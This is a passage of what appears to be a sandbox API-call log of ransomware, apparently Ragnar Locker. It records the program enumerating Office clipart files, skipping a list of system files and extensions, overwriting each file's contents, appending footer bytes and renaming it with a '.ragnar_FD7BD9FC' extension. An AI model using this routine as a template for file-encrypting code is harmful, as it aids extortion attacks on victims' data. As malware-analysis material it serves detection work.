lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.096] VirtualAlloc (lpAddress=0x0, dwSize=0x85d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.096] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.096] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.096] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x85d0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x85d0, lpOverlapped=0x0) returned 1 [0085.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.098] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x85d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.098] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x85d0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x85d0, lpOverlapped=0x0) returned 1 [0085.098] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x85d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.098] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x85d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.099] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.099] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.099] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.099] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.099] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.099] GetProcessHeap () returned 0x580000 [0085.099] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.099] CloseHandle (hObject=0xf4) returned 1 [0085.099] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" [0085.099] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.ragnar_FD7BD9FC" [0085.099] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.100] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0085.100] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.100] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153514.WMF" | out: lpString1="J0153514.WMF") returned="J0153514.WMF" [0085.100] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned=".WMF" [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="autorun.inf") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="boot.ini") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="bootfont.bin") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="bootsect.bak") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="bootmgr") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="bootmgr.efi") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="bootmgfw.efi") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="desktop.ini") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="iconcache.db") returned 1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="ntldr") returned -1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="ntuser.dat") returned -1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="ntuser.dat.log") returned -1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="ntuser.ini") returned -1 [0085.100] lstrcmpiW (lpString1="J0153514.WMF", lpString2="thumbs.db") returned -1 [0085.100] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.100] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.100] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.100] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.100] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.100] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.100] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 0x20 [0085.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.101] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12752) returned 1 [0085.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.101] GetProcessHeap () returned 0x580000 [0085.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.101] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.103] VirtualAlloc (lpAddress=0x0, dwSize=0x31d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.103] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.103] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.103] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x31d0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x31d0, lpOverlapped=0x0) returned 1 [0085.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.104] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.104] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x31d0, lpOverlapped=0x0) returned 1 [0085.104] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.105] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.105] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.105] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.105] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.105] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.105] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.105] GetProcessHeap () returned 0x580000 [0085.105] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.105] CloseHandle (hObject=0xf4) returned 1 [0085.105] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" [0085.105] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.ragnar_FD7BD9FC" [0085.105] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.106] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0085.106] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.106] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153516.WMF" | out: lpString1="J0153516.WMF") returned="J0153516.WMF" [0085.106] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned=".WMF" [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="autorun.inf") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="boot.ini") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="bootfont.bin") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="bootsect.bak") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="bootmgr") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="bootmgr.efi") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="bootmgfw.efi") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="desktop.ini") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="iconcache.db") returned 1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="ntldr") returned -1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="ntuser.dat") returned -1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="ntuser.dat.log") returned -1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="ntuser.ini") returned -1 [0085.106] lstrcmpiW (lpString1="J0153516.WMF", lpString2="thumbs.db") returned -1 [0085.106] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.107] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.107] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.107] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.107] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.107] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.107] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 0x20 [0085.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.107] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7432) returned 1 [0085.107] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1cff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.107] GetProcessHeap () returned 0x580000 [0085.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.107] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.109] VirtualAlloc (lpAddress=0x0, dwSize=0x1d08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.109] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d08, lpOverlapped=0x0) returned 1 [0085.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.110] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d08, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.110] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d08, lpOverlapped=0x0) returned 1 [0085.110] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.110] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.110] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.110] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.110] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.111] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.111] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.111] GetProcessHeap () returned 0x580000 [0085.111] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.111] CloseHandle (hObject=0xf4) returned 1 [0085.111] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" [0085.111] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.ragnar_FD7BD9FC" [0085.111] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.111] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0085.111] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.111] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153518.WMF" | out: lpString1="J0153518.WMF") returned="J0153518.WMF" [0085.111] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned=".WMF" [0085.111] lstrcmpiW (lpString1="J0153518.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="autorun.inf") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="boot.ini") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="bootfont.bin") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="bootsect.bak") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="bootmgr") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="bootmgr.efi") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="bootmgfw.efi") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="desktop.ini") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="iconcache.db") returned 1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="ntldr") returned -1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="ntuser.dat") returned -1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="ntuser.dat.log") returned -1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="ntuser.ini") returned -1 [0085.112] lstrcmpiW (lpString1="J0153518.WMF", lpString2="thumbs.db") returned -1 [0085.112] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.112] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.112] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.112] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.112] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.112] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.112] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 0x20 [0085.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.113] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12528) returned 1 [0085.113] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.113] GetProcessHeap () returned 0x580000 [0085.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.113] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.118] VirtualAlloc (lpAddress=0x0, dwSize=0x30f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.118] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.118] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.118] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30f0, lpOverlapped=0x0) returned 1 [0085.119] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.119] LockFile (hFile=0xf4, 